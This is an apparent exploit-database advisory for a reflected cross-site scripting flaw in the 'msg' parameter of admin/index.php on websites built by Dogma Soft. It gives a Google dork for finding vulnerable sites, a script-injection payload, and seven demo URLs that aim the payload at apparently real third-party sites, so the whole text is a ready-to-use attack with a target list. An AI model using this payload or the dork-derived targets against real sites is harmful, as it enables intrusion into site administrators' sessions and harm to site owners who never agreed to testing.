################################################### [+] Exploit Title: Dogma Soft Cross Site Scripting [+] Exploit Author: Ehsan Hosseini [+] Google Dork : "DESIGN BY:-Dogma Soft Pvt. Ltd." [+] Date: 19/08/2015 [+] Platform: WebApps [+] Vendor Homepage: http://dogmaindia.com/ [+] Tested on: Windows [+] CVE : N/A =============================== Cross Site Scripting : site.com/admin/inde.php?msg=<script>alert(/xss/)</script> =============================== Demos : http://kdpvtiXti.co.in/admin/index.php?msg=<script>alert(/xss/)</script> http://www.adarshiXtibhopal.com/admin/index.php?msg=<script>alert(/xss/)</script> http://www.bansuXriti.com/admin/index.php?msg=<script>alert(/xss/)</script> http://www.shailXendraitc.co.in/admin/index.php?msg=<script>alert(/xss/)</script> http://dhattarwXalpvtiti.com/admin/index.php?msg=<script>alert(/xss/)</script> http://runthlaiXti.com/admin/index.php?msg=<script>alert(/xss/)</script> http://www.jatiXniti.com/admin/index.php?msg=<script>alert(/xss/)</script> Discovered By : Ehsan Hosseini